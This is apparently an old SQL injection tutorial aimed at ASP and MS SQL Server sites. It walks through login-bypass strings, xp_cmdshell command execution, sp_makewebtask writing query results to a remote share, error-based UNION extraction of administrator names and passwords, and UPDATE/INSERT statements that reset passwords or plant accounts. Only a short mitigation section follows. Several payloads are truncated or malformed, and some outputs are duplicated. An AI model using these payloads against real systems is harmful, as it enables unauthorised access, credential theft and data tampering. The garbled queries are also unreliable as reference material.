1.1 What is SQL Injection?

It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.

1.2 What do you need?

Any web browser.

2.0 What you should look for?

Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:

```
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
```

Everything between the <FORM> and </FORM> have potential parameters that might be useful (exploit wise).

2.1 What if you can't find any page that takes input?

You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:

```
http://duck/index.asp?id=10
```

3.0 How do you test if it is vulnerable?

Start with a single quote trick. Input something like:

```
hi' or 1=1--
```

Into login, or password, or even in the URL. Example:

- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--

If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example:

```
<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>
```

If luck is on your side, you will get login without any login name or password.

3.1 But why ' or 1=1--?

Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:

```
http://duck/index.asp?category=food
```

In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):

```
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
```

As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:

```
SELECT * FROM product WHERE PCategory='food'
```

The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'.

Now, assume that we change the URL into something like this:

```
http://duck/index.asp?category=food' or 1=1--
```

Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:

```
SELECT * FROM product WHERE PCategory='food' or 1=1--'
```

The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

```
' or 'a'='a
```

The SQL query will now become:

```
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
```

It should return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:

```
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
```

4.0 How do I get remote execution with SQL injection?

Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:

```
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
```

Try using double quote (") if single quote (') is not working.

The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:

```
#tcpdump icmp
```

If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.

5.0 How to get output of my SQL query?

It is possible to use sp_makewebtask to write your query into an HTML:

```
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
```

But the target IP must folder "share" sharing for Everyone.

6.0 How to get data from the database using ODBC error message

We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:

```
http://duck/index.asp?id=10
```

We will try to UNION the integer '10' with another string from the database:

```
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
```

The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:

```
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
```

This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5
```

The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is "table1".

To get the next table name, we can use the following query:

```
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
```

We also can search for data using LIKE keyword:

```
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%2
```

Output:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5
```

The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, "admin_

6.1 How to mine all column names of a table?

We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:

```
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login
```

Output:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
```

Output:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
```

Now that we have the first column name, we can use NOT IN () to get the next column name:

```
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
```

Output:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5
```

When we continue further, we obtained the rest of the column name, i.e. "password", "details". We know this when we get the following error message:

```
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
```

Output:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5
```

6.2 How to retrieve any data we want?

Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database

Now, let's get the first login_name from the "admin_login" table:

```
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
```

Output:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
```

We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database:

```
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
```

Output:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5
```

We can now login as "neo" with his password "m4trix".

6.3 How to get numeric string value?

There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of "trinity" which is "31173":

```
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
```

We will probably get a "Page Not Found" error. The reason being, the password "31173" will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.

To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:

```
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
```

We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the actual password. Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC error message:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5
```

Now, you can even login as 'trinity' with the password '31173'.

7.0 How to update/insert data into the database?

When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo":

```
http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--
```

```
http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--
```

To INSERT a new record into the database:

```
http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--
```

We can now login as "neo2" with the password of "newpas5".

8.0 How to avoid SQL Injection?

Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings fro

- Input from users
- Parameters from URL
- Values from cookie

For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.

Change "Startup and run SQL Server" using low privilege user in SQL Server Security tab.

Delete stored procedures that you are not using like:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask